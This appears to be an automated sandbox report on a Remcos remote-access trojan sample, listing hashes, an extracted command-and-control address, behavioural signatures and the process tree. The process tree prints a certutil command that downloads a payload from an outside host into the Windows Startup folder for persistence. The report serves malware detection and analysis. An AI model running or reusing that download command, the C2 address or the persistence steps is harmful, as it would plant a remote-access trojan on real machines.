Analysis
- max time kernel
150s - max time network
148s - platform
windows10_x64 - resource
win10v20201028 - submitted
10/11/2020, 11:07
Static task
static1
Behavioral task
behavioral1
Sample
1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
- Size 961KB
- Sample201110-llc83kfvvs
- SHA256 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675
- MD5 4b14a8349532805191d547a419037835
- SHA1 6b8026d91021d33ed06be0cf5145a2730409f989
- SHA512 dace1a8285a21a61d8b3bb6dd79668227c37b15269cdbdfa61e7828333ddc8a2502e76126f7738bfb540da00f3b64b2150c6e33a2600ab4dde08e02faf14caed
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3160 set thread context of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 204 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 204 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 3160 wrote to memory of 1856 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 75 PID 3160 wrote to memory of 1856 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 75 PID 3160 wrote to memory of 1856 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 75 PID 1856 wrote to memory of 3980 1856 cmd.exe 78 PID 1856 wrote to memory of 3980 1856 cmd.exe 78 PID 1856 wrote to memory of 3980 1856 cmd.exe 78 PID 3160 wrote to memory of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79 PID 3160 wrote to memory of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79 PID 3160 wrote to memory of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79 PID 3160 wrote to memory of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79 PID 3160 wrote to memory of 204 3160 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe 79
Processes
-
C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:3980
-
-
-
C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:204
-